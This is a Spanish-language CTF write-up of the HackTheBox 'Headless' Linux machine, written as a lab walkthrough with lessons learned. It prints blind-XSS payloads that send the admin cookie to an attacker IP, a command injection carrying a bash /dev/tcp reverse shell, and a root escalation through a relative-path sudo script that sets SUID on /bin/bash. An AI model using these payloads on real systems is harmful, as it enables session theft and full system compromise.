the_open_door
café
ESEN

Headless

HackTheBoxFácilLinux10.10.11.8

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#linux#flask#werkzeug#blind-xss#cookie-stealing#command-injection#sudo#path-relative#oscp
TL;DR. Un Flask en el 5000 muestra un formulario /support que envía las cabeceras al panel /dashboard, donde un bot administrativo las revisa. Inyectando un <img onerror=fetch(...+document.cookie)> en el User-Agent (Blind XSS) se roba la cookie de sesión del admin, lo que da acceso a /dashboard. Allí, el parámetro date del generador de informes ejecuta el comando concatenado con ;, abriendo una reverse shell como dvir. Para escalar, sudo -l permite /usr/bin/syscheck sin contraseña; el script invoca ./initdb.sh con ruta relativa, así que un initdb.sh propio en el cwd con chmod u+s /bin/bash cierra la cadena hasta root.

Reconocimiento

Escaneo inicial

Antes del nmap completo, un ping rápido orienta sobre el sistema operativo.

ping a 10.10.11.8 muestra ttl=63

PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=108 ms

El TTL observado es 63, no 64: cada salto de routing descuenta uno, así que el TTL original era 64 y apunta a Linux (Windows partiría de 128). Es un indicio, no una confirmación.

Con eso, lanzo el barrido TCP completo:

nmap -p- detecta 22 ssh y 5000 upnp

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

El fichero -oG que deja el escaneo lo resume extractPorts, otra función del ~/.zshrc, que además copia la lista al portapapeles para el segundo escaneo:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.11.8 y puertos abiertos 22,5000

Extracting information ...
IP Address: 10.10.11.8
Open ports: 22,5000

Ports copied to clipboard

Solo dos puertos: 22 (SSH) y 5000. nmap lo etiqueta como upnp por el servicio por defecto del puerto, pero el 5000 es típicamente un servidor de desarrollo Python (Flask/Werkzeug). Un -sCV dirigido sobre esos dos puertos lo confirma:

nmap -sCV sobre 22 y 5000 identifica OpenSSH 9.2p1 y Werkzeug 2.2.2

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
5000/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
|_http-title: Under Construction
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Werkzeug 2.2.2 + Python 3.11.2 = aplicación Flask corriendo con el servidor de desarrollo. El OpenSSH 9.2p1 Debian 2+deb12u2 fija además la base: Debian 12 (Bookworm). Aparece de fondo una posibilidad de SSTI, pero conviene enumerar primero el web antes de saltar a payloads.

Web - TCP 5000

El puerto 5000 sirve una página Under Construction con una cuenta atrás. wappalyzer no detecta ninguna tecnología, ni siquiera tras pulsar su Reload, así que por ahí no hay pista:

la portada Under Construction en el 5000 con su cuenta atrás y Wappalyzer informando de que no detecta tecnologías

El código fuente tampoco esconde secretos, pero sí deja algo útil: el botón For questions apunta a /support, una ruta que todavía no había aparecido.

el view-source de la portada: el temporizador en JavaScript y el enlace For questions apuntando a /support

<div class="container">
    <h1>Welcome to Our Website</h1>
    <p>We're working hard to bring you an amazing online experience.</p>
    <div class="countdown">
        Site will be live in <span id="countdown">Loading...</span>.
    </div>
    <a href="/support" class="button">For questions</a>
</div>

Lo que sí deja un detalle es whatweb:

whatweb reporta la cookie is_admin, Werkzeug 2.2.2 y el título Under Construction

http://10.10.11.8:5000 [200 OK] Cookies[is_admin], Country[RESERVED][ZZ], HTML5,
HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[10.10.11.8], Python[3.11.2],
Script, Title[Under Construction], Werkzeug[2.2.2]

Cookies[is_admin]: la aplicación reparte una cookie llamada así a cualquier visitante anónimo, sin login de por medio. Un nombre de cookie que es literalmente un booleano de privilegio es la clase de dato que conviene tener presente antes de empezar a probar nada. Un escaneo de rutas con dirsearch destapa además dos endpoints:

dirsearch encuentra /dashboard (401) y /support (200)

[21:15:52] 401 -   317B - /dashboard
[21:16:46] 200 -    2KB - /support

/dashboard responde 401, así que requiere autenticación. /support está abierto: es un formulario libre que vamos a usar como punto de entrada.

Formulario /support con campos name, email, subject, message

Antes de probar nada, un envío normal interceptado con Burp sirve para ver cómo viaja el formulario:

Burp intercepta el POST /support con los campos en x-www-form-urlencoded

POST /support HTTP/1.1
Host: 10.10.11.8:5000
Content-Type: application/x-www-form-urlencoded
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs

fname=jaime&lname=jaime&email=jaime%40jaime&phone=12345467&message=jaime

Dos lecturas. La primera descarta un vector: los datos van en x-www-form-urlencoded plano, no en XML, así que no hay por dónde meter una XXE. La segunda es la buena, y confirma lo que insinuaba whatweb: la cookie is_admin que me han dado vale InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs. Ese formato (una carga base64url, un punto y una firma) es el de itsdangerous, la librería con la que Flask firma sus cookies, y InVzZXIi decodifica a "user".

Con la petición todavía retenida, Burp permite pedir además la respuesta (Do intercept → Response to this request), que es la forma de ver el HTML tal cual lo emite el servidor sin fiarse de lo que pinte el navegador:

el menú contextual de Burp sobre la petición POST /support con Do intercept y Response to this request resaltados

la respuesta interceptada muestra el formulario Contact Support con los cinco campos fname, lname, email, phone y message

<form method="POST">
    <label for="fname">First Name:</label>
    <input type="text" id="fname" name="fname" required>
    <label for="lname">Last Name:</label>
    <input type="text" id="lname" name="lname" required>
    <label for="email">Email:</label>
    <input type="email" id="email" name="email" required>
    <label for="phone">Phone Number:</label>
    <input type="tel" id="phone" name="phone" required>
    <label for="message">Message:</label>
    <textarea id="message" name="message" required></textarea>
    <button type="submit">Submit</button>
</form>

Cinco campos, ninguna validación del lado del servidor a la vista y ningún token anti-CSRF. Es decir: la cookie dice quién soy en claro, pero va firmada con una clave del servidor. Cambiar "user" por "admin" a mano invalida la firma y el servidor la rechaza. Para tener una cookie de admin válida hay que conseguir que el servidor la emita, o robársela a alguien que ya la tenga.

Shell como dvir

Blind XSS por el User-Agent

El primer intento es el más ingenuo: meter etiquetas HTML en los propios campos del formulario y ver qué hace la aplicación con ellas.

el formulario Contact Support relleno con la etiqueta h1 jaime en cuatro de los cinco campos

Antes de enviarlo se activa el proxy de Burp desde FoxyProxy para ver a dónde va la petición y qué responde el servidor. Y la respuesta no es la esperada: en vez de guardar el mensaje, el servidor devuelve una página de "Hacking Attempt Detected!" que reproduce las cabeceras HTTP completas de la petición rechazada (User-Agent, Accept-Language, Cookie...).

FoxyProxy conmutando al perfil de burp mientras la página muestra Hacking Attempt Detected con toda la Client Request Information

Hacking Attempt Detected

Your IP address has been flagged, a report with your browser information has been sent to the
administrators for investigation.

Client Request Information:

Method: POST
URL: http://10.10.11.8:5000/support
Headers: Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://10.10.11.8:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs

página Hacking attempt detected que renderiza los headers

Eso es el detalle clave: si el panel /dashboard (donde un bot administrativo revisa los intentos) renderiza esa misma plantilla, las cabeceras se interpretan como HTML del lado del admin. Es el patrón clásico de Blind XSS contra un bot administrativo: el atacante no ve el resultado, solo el efecto secundario en su servidor.

Primero se confirma que las cabeceras se interpretan como HTML. Con Burp reemplazo tres de ellas por una etiqueta de prueba, <h5>jaime</h5>, para ver si alguna se escapa y cuáles no:

Burp Intercept con h5 jaime en User-Agent, Accept-Language y Accept-Encoding

User-Agent: <h5>jaime</h5>
Accept-Language: <h5>jaime</h5>
Accept-Encoding: <h5>jaime</h5>

El servidor las renderiza tal cual: la palabra inyectada aparece estilizada dentro de cajas en las tres, confirmando que el HTML se interpreta y que no hay escapado en ninguna:

Hacking Attempt Detected renderiza HTML inyectado en User-Agent, Accept-Language y Accept-Encoding

El siguiente paso es escalar a JavaScript con una imagen rota más onerror. El payload se mete en el User-Agent interceptando la petición con Burp:

Burp Intercept: User-Agent reemplazado con el payload img onerror=alert("hola")

User-Agent: <img src=1 onerror=alert("hola")>

alert("hola") ejecutado en el navegador del admin

Si llegara a renderizarse en mi navegador, vería un alert; pero al venir desde "Hacking attempt", solo el admin lo verá. Para verificar que efectivamente alguien lo ejecuta del otro lado, levanto un HTTP listener y cambio el payload a un fetch ciego:

python3 -m http.server 80

el servidor HTTP del atacante levantado en el puerto 80, todavía sin peticiones

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
User-Agent: <img src=1 onerror=fetch('http://10.10.16.6/xss')>

Burp Intercept con el User-Agent sustituido por el payload img onerror con fetch a la máquina atacante

python3 -m http.server recibe el GET /xss desde 10.10.11.8 y desde 10.10.16.6

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [16/Sep/2025 21:52:05] "GET /xss HTTP/1.1" 404 -
10.10.16.6 - - [16/Sep/2025 21:55:20] "GET /xss HTTP/1.1" 404 -

El 404 es lo de menos (no existe ese fichero en el servidor); lo que importa es quién pide. La primera petición llega desde 10.10.11.8, la propia víctima, y llega tres minutos antes de que yo abra nada en mi navegador: nadie la ha disparado por mi parte. La segunda, desde 10.10.16.6, es mi propia máquina renderizando después la página. Ese desfase es la prueba: hay un proceso administrativo dentro de la máquina que abre las páginas de los intentos rechazados y ejecuta el JavaScript que metí en la cabecera. Es decir, tengo XSS ciego corriendo en una sesión autenticada del admin.

Con la confirmación, solo falta exfiltrar document.cookie. Comillas dobles para no chocar con el atributo:

User-Agent: <img src=1 onerror="fetch('http://10.10.16.6/prueba?xss=' + document.cookie)">

Burp Intercept: User-Agent con el payload fetch(document.cookie)

el listener recibe /prueba?xss=is_admin= con las dos cookies, la propia y la del bot

10.10.16.6 - - [16/Sep/2025 22:01:33] "GET /prueba?xss=is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs HTTP/1.1" 404 -
10.10.11.8 - - [16/Sep/2025 22:02:16] "GET /prueba?xss=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -

Las dos líneas juntas son la mejor prueba posible, porque permiten comparar. La mía sigue siendo InVzZXIi... ("user"); la que llega desde 10.10.11.8 es ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0, y ImFkbWluIg decodifica a "admin". La firma que la acompaña la ha generado el servidor con su clave, así que es válida, y ese es justo el trozo que no se podía fabricar a mano.

Como variante por si el sitio filtrara la sintaxis con <img>, también funciona el clásico con <script> + new Image(), que no depende de un evento de error:

User-Agent: <script>var i=new Image(); i.src="http://10.10.16.6/?cookie=" + document.cookie</script>

Burp Intercept con el User-Agent sustituido por el script que crea una Image y le asigna la cookie en el src

el listener recibe /?cookie= con el payload alternativo basado en new Image()

10.10.16.6 - - [16/Sep/2025 22:05:02] "GET /?cookie=is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs HTTP/1.1" 200 -
10.10.11.8 - - [16/Sep/2025 22:05:18] "GET /?cookie=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -

Mismo resultado y misma cookie de admin, esta vez sin onerror.

SSTI: el callejón que no era

Con la cookie de admin ya en el navegador, y antes de tirar del panel, queda una hipótesis pendiente desde el reconocimiento. Werkzeug y Python confirmados, cabeceras que se renderizan sin escapar: si esa plantilla se construyera concatenando el valor de la cabecera, habría SSTI y {{7*7}} devolvería 49. Se prueba igual que el resto, cambiando el User-Agent desde Burp:

Burp Intercept con el User-Agent puesto a la doble llave 7 por 7

User-Agent: {{7*7}}

la página Hacking Attempt Detected devuelve el User-Agent literal, sin evaluar

User-Agent: {{7*7}}

Vuelve literal, sin evaluar. Flask está renderizando la plantilla con las cabeceras pasadas como variables de contexto, no incrustándolas en el texto de la plantilla antes de compilarla, así que Jinja nunca llega a ver esas llaves como código. Es la diferencia entre render_template("x.html", ua=valor) y render_template_string("... " + valor): solo la segunda es explotable.

Merece la pena quedarse con el matiz, porque las dos vulnerabilidades se parecen mucho de lejos y aquí conviven a medias: el dato sí se refleja sin escapar (de ahí el XSS), pero no se compila (de ahí que no haya SSTI). Una cosa no implica la otra.

Acceso al panel y command injection

Reemplazando la cookie en el navegador (DevTools) y refrescando /dashboard, aparece un panel de "System Health Report" con un campo de fecha:

/dashboard con el formulario de Generate System Health Report

Generar un informe con una fecha normal devuelve simplemente "Systems are up and running!":

el dashboard responde "Systems are up and running!" con una fecha normal

Pero la petición interceptada con Burp deja claro que la fecha se envía al servidor como parámetro:

Burp capta el POST date=2023-09-15

Cuando un parámetro de fecha alimenta un comando shell del lado del servidor, el primer test es concatenar otro comando con ;. Si se ejecuta, hay inyección de comandos:

el banner verde del dashboard imprime uid=1000(dvir) tras enviar date=;id

date=;id

Systems are up and running! uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)

Ni siquiera hace falta una fecha válida delante: con el parámetro vacío y el ; basta. La salida de id sale impresa en el mismo banner verde del "Systems are up and running!", lo que confirma que el resultado del comando se concatena directo en la respuesta. RCE como dvir. Para una reverse shell hace falta URL-encodear el payload (los &, > y / deben escapar):

payload reverse shell escrito en el parámetro date desde Burp

;/bin/bash -c 'bash -i &> /dev/tcp/10.10.16.6/443 0>&1'

El propio Burp lo codifica: se selecciona el payload y se usa Convert selection → URL → URL-encode all characters, que no deja fuera ni los caracteres que el navegador considera seguros.

el menú Convert selection de Burp con URL y URL-encode all characters resaltados

el parámetro date queda íntegramente url-encodeado antes de reenviar la petición

date=%3b%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%26%3e%20%2f%64%65%76%2f%74
%63%70%2f%31%30%2e%31%30%2e%31%36%2e%36%2f%34%34%33%20%30%3e%26%31%27

Con un listener a la escucha en el 443:

sudo nc -nlvp 443

el listener nc esperando en el puerto 443 antes de reenviar la petición

listening on [any] 443 ...

la petición lanza el callback:

nc recibe la conexión y se obtiene shell como dvir

Con el tratamiento de TTY habitual la shell pasa a ser usable, y el ls del directorio en el que cae aporta más de lo que parece:

tratamiento de TTY con script, Ctrl+Z y stty raw -echo; el ls muestra el codigo de la app

dvir@headless:~/app$ ls
app.py            hackattempt.html  index.html          report.sh
dashboard.html    hacking_reports   inspect_reports.py  support.html
script /dev/null -c bash        # Ctrl+Z
stty raw -echo; fg              # reset xterm
export TERM=xterm SHELL=bash
stty rows 49 cols 236

en la sesión de dvir se exportan TERM=xterm y SHELL=bash y se ajusta el tamaño a 49 filas por 236 columnas

La reverse shell aterriza directamente en ~/app, el código fuente de todo lo explotado: app.py (las rutas), hackattempt.html (la plantilla que renderiza las cabeceras y que ha permitido el XSS), inspect_reports.py junto a hacking_reports (el bot que revisa los intentos) y report.sh, que es el script al que llega el parámetro date. La caja entera, en ocho ficheros.

Con eso, la flag de usuario:

user.txt leído por dvir

7168cd6f527f50ec1bf2403c316b304e

Escalada de privilegios

sudo -l y el script syscheck

El primer paso de enumeración del usuario es siempre sudo -l:

sudo -l muestra NOPASSWD /usr/bin/syscheck para dvir

Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

Conviene leer también la línea de arriba: env_reset y secure_path significan que sudo descarta mi entorno y reconstruye el PATH desde cero con rutas de sistema. Un PATH hijack clásico, el de dejar un binario falso en un directorio propio y anteponerlo, queda descartado de entrada.

Ejecutarlo una vez ya da una pista de por dónde va:

Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average: 0.00, 0.00, 0.02
Database service is not running. Starting it ...

"Starting it ..." implica que algo se lanza. El binario es un script, así que leerlo da el porqué:

cat /usr/bin/syscheck con rutas absolutas en todo salvo en ./initdb.sh

#!/bin/bash
if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it ..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

La ironía está a la vista. Quien escribió el script sí se preocupó del PATH: find, sort, tail, date, echo, df, awk, uptime, pgrep, todos con ruta absoluta, sin una sola llamada relativa. Y entonces, en la última línea, ./initdb.sh.

Tres detalles se combinan:

  • El script corre como root (por el sudo sin contraseña).
  • ./initdb.sh es relativo al directorio de trabajo, y sudo no cambia el cwd: ejecuta lo que haya en el directorio desde el que yo lance el comando.
  • pgrep -x "initdb.sh" no casa nunca (no hay ningún proceso llamado exactamente así), de modo que la rama then se dispara siempre. Eso ya se veía en la ejecución de antes, con su "Starting it ...".

El resultado es un PATH hijack al revés: no se controla el PATH, que está blindado, sino el cwd, que nadie ha blindado.

Abuso del initdb.sh relativo

Basta con estar en un directorio con escritura, y el propio home de dvir lo es:

echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck
ls -l /bin/bash

sudo syscheck ejecuta el initdb.sh propio y /bin/bash queda con el bit SUID

Database service is not running. Starting it ...
dvir@headless:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 24  2023 /bin/bash

El bit s está en su sitio. bash -p mantiene el EUID de root (en vez de degradarlo a dvir), y la flag final cae:

cat /root/root.txt tras bash -p

bash -p
id
# uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users)
cat /root/root.txt
a409b20f3806c408cffc9f19bf6a8ed4

Cadena de ataque

nmap (22, 5000) 
  └─> Flask en /support (refleja headers en la página de "hacking attempt")
        └─> Blind XSS en User-Agent → fetch a 10.10.16.6 con document.cookie
              └─> cookie is_admin firmada del bot (ImFkbWluIg...) → /dashboard
                    └─> ;id en el parámetro date → RCE como dvir
                          └─> reverse shell + user.txt
                                └─> sudo NOPASSWD /usr/bin/syscheck → ./initdb.sh (ruta relativa)
                                      └─> initdb.sh propio en ~ con chmod u+s /bin/bash
                                            └─> bash -p → root.txt

Lecciones aprendidas

  • Una página de "intento de hacking detectado" que renderiza las cabeceras de la petición es un sumidero perfecto para Blind XSS: el bot que revisa el panel ejecuta cualquier JS que metas en User-Agent.
  • Una cookie firmada (formato payload.firma de itsdangerous) enseña su contenido pero no se puede falsificar sin la clave del servidor. Cuando el dato interesante viaja firmado, el camino deja de ser manipularlo y pasa a ser robar uno legítimo, que es exactamente lo que empuja hacia el XSS.
  • Que un dato se refleje sin escapar no implica que se compile como plantilla. Aquí las cabeceras dan XSS pero {{7*7}} vuelve literal: Flask las pasa como variables de contexto, no las concatena en la plantilla. SSTI y XSS se parecen de lejos y se descartan por separado.
  • Sospecha siempre de cualquier parámetro que parezca alimentar un comando shell (fechas, IPs, hostnames). El ; y el | son la primera prueba para confirmar command injection.
  • Un sudo sobre un script no es seguro por defecto; hay que leerlo. secure_path blinda el PATH, pero no blinda el cwd: una sola ruta relativa (./initdb.sh) en un script que corre como root devuelve toda la ejecución al atacante, por muy absolutas que sean las otras diez llamadas.
  • chmod u+s /bin/bash + bash -p es la forma más corta de pasar de "ejecuto un comando como root" a "tengo shell persistente de root".
  • TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Cheatsheet de comandos 22 comandos

Repaso rápido